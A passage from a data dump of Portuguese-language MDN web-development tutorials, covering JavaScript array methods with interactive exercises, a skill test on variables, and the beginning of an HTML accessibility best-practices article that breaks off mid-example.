adicionar e remover itens de uma array — vamos dar uma olhada agora. Nós vamos usar a array `myArray` que acabamos de criar na última seção. Se você não viu a última seção, primeiro crie a array no seu console:\n\n\n```js\nvar myArray = [\n  \"Manchester\",\n  \"London\",\n  \"Liverpool\",\n  \"Birmingham\",\n  \"Leeds\",\n  \"Carlisle\",\n];\n```\n\n\nAntes de tudo, para adicionar ou remover um item no final de uma array, nós podemos usar `push()` e `pop()` respectivamente.\n\n1. note que você precisa para incluir um ou mais itens ao final da sua array. Tente isto:\n\n```js\nmyArray.push(\"Cardiff\");\nmyArray;\nmyArray.push(\"Bradford\", \"Brighton\");\nmyArray;\n```\n\n2. O novo comprimento da array é retornado quando a chamada do método completa. Se você quer armazenar o novo comprimento da array em uma variável, você poderia fazer algo como isto:\n\n```js\nvar newLength = myArray.push(\"Bristol\");\nmyArray;\nnewLength;\n```\n\n3. Removendo o último item da array é tão simples como um `pop()` nele. Tente isto:\n\n```js\nmyArray.pop();\n```\n\n4. O item que foi removido é retornado quando a chamada do método completa. Para salvar o item em uma nova variável, você poderia fazer isto:\n\n```js\nvar removedItem = myArray.pop();\nmyArray;\nremovedItem;\n```\n\n\n`unshift()` e `shift()` funciona exatamente do mesmo modo que `push()` e `pop()`, respectivamente, exceto que eles funcionam no começo da array, não no final.\n\n1. Primeiro `unshift()` — tente os seguintes comandos:\n\n```js\nmyArray.unshift(\"Edinburgh\");\nmyArray;\n```\n\n2. Agora `shift()`;Tente estes!\n\n```js\nvar removedItem = myArray.shift();\nmyArray;\nremovedItem;\n```\n\nAprendizado ativo: Imprimindo aqueles produtos!\n-----------------------------------------------\n\nVamos retornar ao exemplo que descrevemos antes — imprimindo nomes de produtos e preços em uma fatura, então totalizando os preços e imprindindo eles ao final. No exemplo editável abaixo há comentários contendo números — cada um deles marcam um lugar onde você tem que acidionar algo ao código. Eles são como segue:\n\n1. Abaixo do comentário `// number 1` está um número de strings, cada uma contendo um nome de produto e preço separado por uma vírgula. Nós gostaríamos que você colocasse eles dentro de uma array e armazenasse eles na array chamada `products`.\n2. Na mesma linha o comentário `// number 2` está no começo de um laço for. Nesta linha nós temos `i<=0`, o qual é um teste condicional que faz o laço for parar imediatamente, porque está dizendo \"pare quando `i` for menor ou igual a 0\", e `i` começa em 0. Nós gostaríamos de substituir isto com um teste condicional que termina o laço quando o `i`for menor que o tamanho da array `products`.\n3. Logo abaixo do comentário `// number 3` nós queremos que você escreva uma linha de código que divide o item da array (`name:price`) em dois itens separados, um contendo somente o nome e outro só com o preço. Se você não tem certeza de como fazer isto, consulte o artigo Métodos úteis em stringpara alguma ajuda, ou ainda melhor, veja a seção Converting between strings and arrays neste artigo.\n4. Como parte da linha de código acima, você também quer converter o preço de string para número. Se você não se lembra como fazer isto, veja o artigo primeiras strings.\n5. Há uma variável chamada `total` que é criada e atribuída o valor 0 no começo do código. Dentro do loop (abaixo `// number 4`) nós queremos que você escreva uma linha que adicione o preço atual ao total em cada iteração do laço, então ao final do código o preço total é impresso na fatura. Você pode precisar de um operador aritiméticos para isto.\n6. Nós queremos que você mude a linha logo abaixo de `// number 5` para que a variável `itemText` seja igual a \"nome do item atual - $preço do item atual\", por exemplo \"Shoes - $23.99\" em cada caso, então a informação correta para cada item é impressa na fatura. Esta é uma simples concatenação de string, a qual deveria ser familiar para você.\n```\n\n<h2>Live output</h2>\n\n<div class=\"output\" style=\"min-height: 150px;\">\n  <ul></ul>\n\n  <p></p>\n</div>\n\n<h2>Editable code</h2>\n\n<p class=\"a11y-label\">\n  Press Esc to move focus away from the code area (Tab inserts a tab character).\n</p>\n\n<textarea id=\"code\" class=\"playable-code\" style=\"height: 410px;width: 95%\">\nvar list = document.querySelector('.output ul');\nvar totalBox = document.querySelector('.output p');\nvar total = 0;\nlist.innerHTML = '';\ntotalBox.textContent = '';\n// number 1\n                'Underpants:6.99'\n                'Socks:5.99'\n                'T-shirt:14.99'\n                'Trousers:31.99'\n                'Shoes:23.99';\n\nfor (var i = 0; i <= 0; i++) { // number 2\n  // number 3\n\n  // number 4\n\n  // number 5\n  itemText = 0;\n\n  var listItem = document.createElement('li');\n  listItem.textContent = itemText;\n  list.appendChild(listItem);\n}\n\ntotalBox.textContent = 'Total: $' + total.toFixed(2);\n</textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = jsSolution;\n  solution.value = \"Show solution\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Show solution\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Hide solution\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Show solution\";\n  }\n  updateCode();\n});\n\nvar jsSolution =\n  \"var list = document.querySelector('.output ul');\\nvar totalBox = document.querySelector('.output p');\\nvar total = 0;\\nlist.innerHTML = '';\\ntotalBox.textContent = '';\\n\\nvar products = ['Underpants:6.99',\\n 'Socks:5.99',\\n 'T-shirt:14.99',\\n 'Trousers:31.99',\\n 'Shoes:23.99'];\\n\\nfor(var i = 0; i < products.length; i++) {\\n var subArray = products[i].split(':');\\n var name = subArray[0];\\n var price = Number(subArray[1]);\\n total += price;\\n itemText = name + ' — $' + price;\\n\\n var listItem = document.createElement('li');\\n listItem.textContent = itemText;\\n list.appendChild(listItem);\\n}\\n\\ntotalBox.textContent = 'Total: $' + total.toFixed(2);\";\nvar solutionEntry = jsSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Show solution\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background-color: #f5f9fa;\n}\n```\n\nAprendizado ativo: Top 5 buscadores\n-----------------------------------\n\nUm bom uso para os métodos de array como `push()` e `pop()` está quando você está mantendo um registro de itens atuais ativos em um aplicativo web. Em uma cena animada, por exemplo, você pode ter uma array de objetos representando o gráfico de fundo mostrado atualmente, e você pode querer somente mostrar 50 por vez, para performace ou alguma razão de ordem. Como novos objetos são criados e adicionados na array, os antigos podem ser deletados da array para manter o número desejado.\n\nNeste exemplo nós vamos mostrar um uso bem mais simples — aqui nós estamos dando a você um falso site de busca, com uma caixa de busca. A idéia é que quando termos são digitados na caixa de busca, os 5 principais termos de busca anterior sejam mostrados na lista. Quando o número de termos passar de 5, o último termo começa sendo deletado. A cada vez um novo termo é adicionado ao topo, então os 5 termos anteriores são sempre mostrados.\n\n**Nota:** Em um aplicativo de busca real, você seria, provavelmente, habilitado a clicar nos termos anteriores para retornar às pesquisas, e isto iria mostrar o reusltado atual! Nós estamos só mantendo simples, por agora.\n\nPara completar o aplicativo, nós precisamos que você:\n\n1. Adicione uma linha abaixo do comentário `// number 1` que adicione o valor digitado atual na busca ao começo da array. Isto pode ser recuperado usando `searchInput.value`.\n2. Adicione uma linha abaixo do comentário `// number 2` que remova o último valor no fim da array.\n```\n\n<h2>Live output</h2>\n<div class=\"output\" style=\"min-height: 150px;\">\n  <input type=\"text\" /><button>Search</button>\n\n  <ul></ul>\n</div>\n\n<h2>Editable code</h2>\n\n<p class=\"a11y-label\">\n  Press Esc to move focus away from the code area (Tab inserts a tab character).\n</p>\n\n<textarea id=\"code\" class=\"playable-code\" style=\"height: 370px; width: 95%\">\nvar list = document.querySelector('.output ul');\nvar searchInput = document.querySelector('.output input');\nvar searchBtn = document.querySelector('.output button');\n\nlist.innerHTML = '';\n\nvar myHistory = [];\n\nsearchBtn.onclick = function() {\n  // we will only allow a term to be entered if the search input isn't empty\n  if (searchInput.value !== '') {\n    // number 1\n\n    // empty the list so that we don't display duplicate entries\n    // the display is regenerated every time a search term is entered.\n    list.innerHTML = '';\n\n    // loop through the array, and display all the search terms in the list\n    for (var i = 0; i < myHistory.length; i++) {\n      itemText = myHistory[i];\n      var listItem = document.createElement('li');\n      listItem.textContent = itemText;\n      list.appendChild(listItem);\n    }\n\n    // If the array length is 5 or more, remove the oldest search term\n    if (myHistory.length >= 5) {\n      // number 2\n\n    }\n\n    // empty the search input and focus it, ready for the next term to be entered\n    searchInput.value = '';\n    searchInput.focus();\n  }\n}\n</textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = jsSolution;\n  solution.value = \"Show solution\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Show solution\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Hide solution\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Show solution\";\n  }\n  updateCode();\n});\n\nvar jsSolution =\n  \"var list = document.querySelector('.output ul');\\nvar searchInput = document.querySelector('.output input');\\nvar searchBtn = document.querySelector('.output button');\\n\\nlist.innerHTML = '';\\n\\nvar myHistory= [];\\n\\nsearchBtn.onclick = function() {\\n if(searchInput.value !== '') {\\n myHistory.unshift(searchInput.value);\\n\\n list.innerHTML = '';\\n\\n for(var i = 0; i < myHistory.length; i++) {\\n itemText = myHistory[i];\\n var listItem = document.createElement('li');\\n listItem.textContent = itemText;\\n list.appendChild(listItem);\\n }\\n\\n if(myHistory.length >= 5) {\\n myHistory.pop();\\n }\\n\\n searchInput.value = '';\\n searchInput.focus();\\n }\\n}\";\nvar solutionEntry = jsSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Show solution\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\nConclusão\n---------\n\nDepois de ler este artigo, nós temos certeza que você concordará que arrays parecem muito úteis; você verá elas surgirem em todo lugar em JavaScript, frequentemente associadas com laços para fazer a mesma coisa para cada item de uma array. Nós estaremos ensinando a você todo o básico que há para saber sobre laços no próximo módulo, mas por agora você deve se dar uma palmada de incentivo e dar uma bem merecida parada; você trabalhou durante todo os artigos neste módulo!\n\nA única coisa que resta a fazer é trabalhar na avaliação deste módulo, a qual vai testar seu entendimento dos artigos anteriores a este.\n\nVeja também\n-----------\n\n* Coleções indexadas — um guia avançado guia de arrays e seus primos, *typed arrays*.\n* `Array` — a página de referência `Array` — para um guia de referência detalhado para as funcionalidades discutidas nesta página e muito mais.\n* Anterior\n* Menu: First steps\n* Próxima"}
{"title":"Teste suas habilidades: variáveis - Aprendendo desenvolvimento web","text":"Teste suas habilidades: variáveis\n=================================\n\nO objetivo deste teste de habilidade é avaliar se você entendeu nosso artigo Armazenando as informações que você precisa — Variáveis.\n\n**Nota:** Você pode experimentar soluções nos editores interativos abaixo. No entanto, pode ser útil fazer o download do código e usar uma ferramenta on-line como CodePen, jsFiddle, ou Glitch para realizar as tarefas.\n\nSe você travar, peça ajuda — veja a seção Assessment or further help na parte inferior desta página.\n\n**Nota:** Nos exemplos abaixo, se houver um erro no seu código, ele será exibido no painel de resultados da página, para ajudá-lo a tentar descobrir a resposta (ou no console JavaScript do navegador, no caso da versão para download).\n\nVariáveis 1\n-----------\n\nNesta tarefa, queremos que você:\n\n* Declare uma variável chamada `myName`.\n* Inicialize `myName` com um valor adequado, em uma linha separada (você pode usar seu nome real ou qualquer outra coisa).\n* Declare uma variável chamada `myAge` e inicialize-a com um valor, na mesma linha.\n\nTente atualizar o código ativo abaixo para recriar o exemplo final:\n\n**Nota:** Faça o download do ponto de partida para esta tarefa funcionar em seu próprio editor ou em um editor online.\n\nVariáveis 2\n-----------\n\nNesta tarefa, você precisa adicionar uma nova linha para corrigir o valor armazenado na variável `myName` existente para seu próprio nome.\n\nTente atualizar o código ativo abaixo para recriar o exemplo final:\n\n**Nota:** Faça o download do ponto de partida para esta tarefa funcionar em seu próprio editor ou em um editor online.\n\nVariáveis 3\n-----------\n\nA tarefa final por enquanto — neste caso, você recebe um código existente, que possui dois erros. O painel de resultados deve exibir o nome `Chris`, e uma declaração sobre quantos anos Chris terá daqui a 20 anos. Como você pode corrigir o problema e corrigir a saída?\n\nTente atualizar o código ativo abaixo para recriar o exemplo final:\n\n**Nota:** Faça o download do ponto de partida para esta tarefa funcionar em seu próprio editor ou em um editor online.\n\nAvaliação ou ajuda adicional\n----------------------------\n\nVocê pode praticar esses exemplos nos editores interativos acima.\n\nSe você gostaria que seu trabalho fosse avaliado, ou está travado e quer pedir ajuda:\n\n1. Coloque seu trabalho em um editor compartilhável on-line, como CodePen, jsFiddle, ou Glitch. Você pode escrever o código você mesmo ou usar os arquivos de ponto de partida vinculados nas seções acima.\n2. Escreva um post pedindo avaliação e/ou ajuda na categoria MDN Discourse forum Learning. Seu post deve incluir:\n    * Um título descritivo como \"Avaliação desejada para o teste de habilidade Variáveis 1\".\n    * Detalhes do que você já tentou e o que gostaria que fizéssemos. Por exemplo, se você está travado e precisa de ajuda ou deseja uma avaliação.\n    * Um link para o exemplo que você deseja que seja avaliado ou precisa de ajuda, em um editor compartilhável online (conforme mencionado na etapa 1 acima). Esta é uma boa prática para entrar - é muito difícil ajudar alguém com um problema de codificação se você não conseguir ver o código.\n    * Um link para a página real de tarefas ou avaliações, para que possamos encontrar a pergunta com a qual você deseja ajuda."}
{"title":"HTML: Boas práticas em acessibilidade - Aprendendo desenvolvimento web","text":"HTML: Boas práticas em acessibilidade\n=====================================\n\n* Anterior  (en-US)\n* Menu: Accessibility\n* Próxima  (en-US)\n\nUma grande parte do conteúdo presente na internet pode se tornar acessível apenas com a utilização correta dos elementos HTML. Esse artigo mostra em detalhes como o HTML pode ser utilizado para garantir o máximo de acessibilidade.\n\n|  |  |\n| --- | --- |\n| Pré-requsitos: | \n Conceitos básicos de computadores, entendimento básico de HTML (veja\n Introdução ao HTML), e entendimento do\n que é acessibilidade (en-US).\n  |\n| Objetivos: | \n Ganhar familiaridade com os elementos do HTML que trabalham a favor da\n acessibilidade e utilizá-los de forma apropriada nos seus documentos\n da web.\n  |\n\nHTML e acessibilidade\n---------------------\n\nNa medida que se aprende mais sobre HTML — lendo sobre recursos, observando exemplos, etc. — é normal se deparar com um assunto: a importância de se utilizar a semântica HTML (as vezes chamada de POSH, ou *Plain Old Semantic HTML*). Esse assunto significa utilizar corretamente os elementos HTML, cada qual com seu propósito, o máximo que for possível.\n\nVocê deve estar se perguntando porque isso é tão importante. Afinal, é possível usar uma combinação de CSS e JavaScript que faz com que qualquer elemento HTML se comporte da forma que você quiser. Por exemplo, um botão para dar play em um vídeo no seu site pode ser criado dessa forma:\n\n\n```html\n<div>Play vídeo</div>\n```\n\n\nMas como você com mais detalhes a seguir, faz muito mais sentido utilizar o elemento correto para essa finalidade:\n\n\n```html\n<button>Play vídeo</button>\n```\n\n\nO elemento `<button>` possui vários estilos já aplicados nele mesmo por padrão (o que você provavelmente vai querer sobrescrever), ele já é embutido com padrões de acessibilidade pelo teclado — botões podem ser navegados através da tecla tab do teclado, e ativados utilizando a tecla Enter / Return.\n\nA semântica do HTML não demora mais para escrever do que a versão não-semântica (ruim) se você escrevê-la consistentemente desde o começo do seu projeto. Existem também outros benefícios de utilizá-la, além da acessibilidade:\n\n1. **Mais fácil de ser desenvolvida** — como mencionado acima, você consegue algumas funcionalidades por padrão, também torna o código mais fácil de ser lido e entendido.\n2. **Melhor nos dispositivos móveis** — HTML semântico é mais leve que o código não-semântico (aquele código espaguete) em comparação de tamanho de arquivos, também é mais fácil de ser adaptado ao responsivo.\n3. **Bom para o SEO** — mecanismos de busca dão mais importância para palavras-chave que são incluidas em títulos, links, etc. do que para palavras-chave incluídas em `<div>`s não semânticas, etc. Então suas páginas serão mais fáceis de serem encontradas pelos seus clientes.\n\nEntão vamos dar uma olhada em como fazer o HTML mais acessível.\n\n**Nota:** É uma boa ideia ter um leitor de tela instalado no seu computador, dessa forma é possível testar os exemplos que serão mostrados abaixo. Veja o nosso Guia de Leitores de Tela (en-US) para mais detalhes.\n\nBoa semântica\n-------------\n\nNós já falamos sobre a importância da boa semântica e porque precisamos utilizar os elementos HTML adequados para cada finalidade. Isso não pode ser ignorado, e é uma das grandes áreas onde a acessibilidade pode ser completamente quebrada se não feito de forma correta.\n\nEm toda a web, é verdade que as pessoas fazem coisas bem estranhas utilizando o HTML. Alguns abusos do HTML são resultado de práticas antigas que ainda não foram completamente esquecidas, e outros são só simples ignorância das boas práticas. Em qualquer um desses casos, é necessário a substituição de códigos ruins por códigos bons, em qualquer local que forem encontrados, se possível.\n\nAs vezes você não terá em mãos o poder de jogar fora o código ruim — suas páginas web podem ter sido geradas por algum framework que você não possui controle total, ou você pode ter algum conteúdo de terceiros na sua página (como banners de publicidade) que você não tem controle sobre.\n\nO objetivo aqui não é \"tudo ou nada\", contudo — qualquer melhoria que você for capaz de fazer irá ajudar a causa da acessibilidade.\n\n### Conteúdo textual\n\nUma das melhores formas de ajudar um leitor de tela a interpretar sua página é criar uma boa e consistente estrutura de títulos, parágrafos, listas, etc. Um exemplo de boa semântica vai ser parecido com o a seguir:\n\n\n```html\n<h1>Meu título</h1>\n\n<p>Essa é a primeira sessão do meu documento.</p>\n\n<p>Eu vou adicionar outro parágrafo aqui também.</p>\n\n<ol>\n  <li>Aqui é</li>\n  <li>uma lista para</li>\n  <li>você ler</li>\n</ol>\n\n<h2>Meu sub-título</h2>\n\n<p>\n  Essa é a primeira sub sessão do meu documento. Eu adoro quando as pessoas\n  conseguem encontrar meu conteúdo!\n</p>\n\n<h2>Meu segundo sub-título</h2>\n\n<p>\n  Essa é a primeira sub sessão do meu documento. Eu acho que essa é mais\n  interessante que a última.\n</p>\n```\n\n\nNós preparamos uma versão com o texto mais longo para que você tente utilizar um leitor de tela (veja good-semantics.html). Se você tentar navegar dentro do documento, vai perceber que é bem fácil:\n\n1. O leitor de tela lê cada título a medida que você progride pelo conteúdo, notificando ao usuário o que é um título, o que é um parágrafo, etc.\n2. Ele para depois de cada elemento, deixando você ir na velocidade em que é mais confortável.\n3. Você pode pular para o título mais próximo/anterior em muitos leitores de tela.\n4. Você também pode fazer uma lista com todos os títulos em muitos leitores de tela, possibilitando a navegação em um sumário para encontrar conteúdos específicos.\n\nAs pessoas ás vezes escrevem títulos, parágrafos, etc. utilizando HTML para vizualização e quebras de linha, ás vezes como o seguinte:\n\n\n```html\n<font size=\"7\">Meu título</font> <br /><br />\nEssa é a primeira sessão do meu documento.\n<br /><br />\nEu vou adicionar outro parágrafo aqui também.\n<br /><br />\n1. Aqui é\n<br /><br />\n2. uma lista para\n<br /><br />\n3. você ler.\n<br /><br />\n<font size=\"5\">Meu sub-título</font>\n<br /><br />\nEssa é a primeira sub sessão do meu documento. Eu adoro quando as pessoas\nconseguem encontrar meu conteúdo!\n<br /><br />\n<font size=\"5\">Meu segundo sub-título</font>\n<br /><br />\nEssa é a primeira sub sessão do meu documento. Eu acho que essa é mais\ninteressante que a última.\n```\n\n\nSe você tentar utilizar um leitor de tela na nossa versão mais longa (ver bad-semantics.html), você não terá uma boa experiência — o leitor de tela não encontrará nenhuma sinalização, então você não terá acesso ao conteúdo. A página inteira vai parecer como um único bloco gigante, então será lida de uma vez só, ao mesmo tempo.\n\nExistem também outros problemas além da acessibilidade — é mais difícil estilizar o seu conteúdo com CSS, ou manipulá-lo com JavaScript porque não há elementos para serem utilizados como seletores.\n\n#### Usando linguagem clara\n\nA linguagem que você usa também pode afetar a acessibilidade. No geral, você deve utilizar uma linguagem clara, que não é exageradamente complexa, e que não use jargões ou gírias desnecessárias. Isso não traz somente benefícios para pessoas com deficiência cognitiva, mas também beneficia pessoas que não estão lendo em sua primeira língua, jovens leitores... todo mundo, de fato! Tirando isso, você deve tentar evitar uma linguagem ou caracteres que não podem ser lidos ou entendidos bem por um leitor de tela. Por exemplo:\n\n* Não utilize traços se você pode evitá-los. Ao invés de escrever 5-7, escreva 5 a 7.\n* Expanda as abreviações — ao invés de escrever Jan, escreva Janeiro.\n* Expanda os acrônimos, pelo menos uma ou duaz vezes. Ao invés de escrever direto HTML, escreva *Hypertext Markup Language*, ou HTML.\n### Layouts de páginas\n\nAntigamente, nos dias velhos e ruins, as pessoas costumavam criar layouts para páginas utilizando tabelas HTML — usando as células da tabela para se comportarem como cabeçalho, rodapé, barra lateral, coluna de conteúdo, etc. Essa não é uma boa ideia porque um leitor de tela provavelmente irá retornar umas leituras um pouco confusas, especialmente se o layout é complexo e possui várias tabelas aninhadas dentro das células.\n\nTente ler o nosso exemplo table-layout.html, que se parece com algo assim:\n\n\n```html\n<table width=\"1200\">\n  <!-- linha do título principal -->\n  <tr id=\"titulo\">\n    <td colspan=\"6\">\n      <h1 align=\"center\">Cabeçalho</h1>\n    </td>\n  </tr>\n  <!-- linha do menu de navegação -->\n  <tr id=\"nav\" bgcolor=\"#ffffff\">\n    <td width=\"200\">\n      <a href=\"#\" align=\"center\">Home</a>\n    </td>\n    <td width=\"200\">\n      <a href=\"#\" align=\"center\">Nossa equipe</a>\n    </td>\n    <td width=\"200\">\n      <a href=\"#\" align=\"center\">Projetos</a>\n    </td>\n    <td width=\"200\">\n      <a href=\"#\" align=\"center\">Contato</a>\n    </td>\n    <td width=\"300\">\n      <form width=\"300\">\n        <input\n type=\"pesquisa\"\n name=\"q\"\n placeholder=\"Pesquisar...\"\n width=\"300\" />\n      </form>\n    </td>\n    <td width=\"100\">\n      <button width=\"100\">Ir!</button>\n    </td>\n  </tr>\n  <!-- linha de espaçamento -->\n  <tr id=\"espacamento\" height=\"10\">\n    <td></td>\n  </tr>\n  <!-- linha do conteúdo principal -->\n  <tr id=\"main\">\n    <td id=\"content\" colspan=\"4\" bgcolor=\"#ffffff\">\n      <!-- conteudo vem aqui -->\n    </td>\n    <td id=\"aside\" colspan=\"2\" bgcolor=\"#ff80ff\" valign=\"top\">\n      <h2>Related</h2>\n\n      <!-- Outro conteúdo vem aqui -->\n    </td>\n  </tr>\n  <!-- linha de espaçamento -->\n  <tr id=\"spacer\" height=\"10\">\n    <td></td>\n  </tr>\n  <!-- linha do rodapé -->\n  <tr id=\"footer\" bgcolor=\"#ffffff\">\n    <td colspan=\"6\">\n      <p>©Copyright 2050 por ninguém. Todos os direitos reservados.</p>\n    </td>\n  </tr>\n</table>\n```\n\n\nSe você tentar navegar por esse código utilizando um leitor de texto, provavelmente ele vai te dizer que existe uma tabela que pode ser reconhecida (mesmo que alguns leitores de tela consigam diferenciar entre layouts de tabelas e o conteúdos das tabelas). Você provavelmente (dependendo de qual leitor de tela que está utilizando) terá que entrar na tabela como um objeto e ler as suas características separadamente, para depois precisar sair da tabela novamente e continuar navegando pelo conteúdo.\n\nLayouts feitos com tabela são uma relíquia do passado — fazia sentido utilizá-las lá atrás quando o suporte do CSS não era difundido pelos navegadores, mas esses layouts de tabela criam confusão para os usuários de leitor de tela, além de serem ruins por outros motivos (abuso de tabelas indiscutivelmente precisa de mais marcação e torna o design menos flexível). Não faça dessa forma!\n\nVocê pode verificar essas reivindicações ao comparar a última experiência com um exemplo de estrutura de website mais moderna, o que pode se parecer com algo assim:\n\n\n```html\n<header>\n  <h1>Cabeçalho</h1>\n</header>\n\n<nav>\n  <!-- Navegação principal aqui -->\n</nav>\n\n<!-- Aqui é o conteúdo principal da página -->\n<main>\n  <!-- Que contém um artigo -->\n  <article>\n    <h2>Título do artigo</h2>\n\n    <!-- Conteúdo do artigo aqui -->\n  </article>\n\n  <aside>\n    <h2>Relacionados</h2>\n\n    <!-- Conteúdo a parte aqui -->\n  </aside>\n</main>\n\n<!-- E aqui é um rodapé utilizado em todas as páginas do nosso site -->\n\n<footer>\n  <!-- Conteúdo do rodapé aqui -->\n</footer>\n```\n\n\nSe você experimentar ler esse exemplo de estrutura mais moderna com um leitor de tela, você vai perceber que o layout feito por marcação não atrapalha na hora de retornar o conteúdo do site. Também é muito mais limpo e pequeno em termos de tamanho de código, o que significa um código mais fácil de se dar manutenção e menos uso de banda para o usuário fazer o download (particularmente prevalente para as pessoas com conexão lenta).\n\nOutra consideração que pode ser feita é criar layouts utilizando a semântica HTML5 nos elementos, como visto no exemplo (veja content sectioning) — você pode criar um layout utilizando apenas elementos aninhados `<div>`, mas é melhor e mais apropriado seccionar elementos de uma forma que eles envelopem a navegação principal (`<nav>`), rodapé(`<footer>`), unidades de conteúdo repetidas(`<article>`), etc. Eles trazem semânticas extras para os leitores de tela(e outras ferramentas) para dar aos usuários mais dicas sobre o conteúdo no qual eles estão navegando (veja Screen Reader Support for new HTML5 Section Elements para uma ideia do que é suporte de leitor de tela).\n\n**Nota:** Ao mesmo tempo que seu conteúdo deve ter boa semântica e um layout bonito, deve-se fazer sentido que em sua ordem de fonte — você poderá sempre movimentá-la utilizando CSS depois, mas você deve colocar a ordem de fonte de forma correta desde o começo, para que os usuários que utilizam de leitores de tela possam receber uma leitura que faz sentido.\n\n### Controles de UI\n\nPor controles de UI, o que nós queremos dizer é as partes dos documentos web que os usuários interagem com — mais comumente botões, links, e formulários. Nessa seção nós daremos uma olhada em princípios da acessibilidade que deverão ser analisados com cuidado ao criar esses controles de UI. Os artigos mais recentes do WAI-ARIA e multimedia irão olhar para outros aspectos da acessibilidade de UIs.\n\nUm aspecto chave da acessibilidade de controles Ui é que, por padrão, os navegadores premitem que esses controles sejam acessados pelo teclado. Você pode experimentar isso utilizando o nosso exemplo native-keyboard-accessibility.html (ver o código-fonte) — abra em uma nova aba e experimente apertar a tecla tab; depois de algumas tecladas, você irá ver o foco da aba se mover entre diferentes elementos que podem ser focados; os elementos focados são dados um estilo de destaque em todos os navegadores (muda levemente entre diferentes navegadores) dessa forma você pode dizer qual elemento está em foco.\n\n![](/pt-BR/docs/Learn/Accessibility/HTML/button-focused-unfocused.png)\n\nVocê pode apertar Enter/Return para seguir um link que está focado ou apertar um botão (nós incluimos um pouco de JavaScript para fazer os botões chamarem uma mensagem), ou começar a escrever para inserir um texto em um formulário de texto (outros elementos possuem controles diferentes, por exemplo o elemento `<select>` pode ter suas opções visíveis e selecionáveis utilizando as teclas de flecha para cima e para baixo.\n\n**Nota:** Navegadores diferentes podem ter mais opções de controle pelo teclado. Veja Using native keyboard accessibility (en-US) para mais detalhes.\n\nVocê essencialmente consegue esse comportamento de graça, só ao utilizar os elementos apropriados, ex.\n\n\n```html\n<h1>Links</h1>\n\n<p>Esse é um link para <a href=\"https://www.mozilla.org\">Mozilla</a>.</p>\n\n<p>\n  Outro link, para\n  <a href=\"https://developer.mozilla.org\">Mozilla Developer Network</a>.\n</p>\n\n<h2>Botões</h2>\n\n<p>\n  <button data-message=\"Esse é do primeiro botão\">Clique em mim!</button>\n  <button data-message=\"Esse é do segundo botão\">Clique em mim também!</button>\n  <button data-message=\"Esse é do terceiro botão\">E em mim!</button>\n</p>\n\n<h2>Formulário</h2>\n\n<form>\n  <div>\n    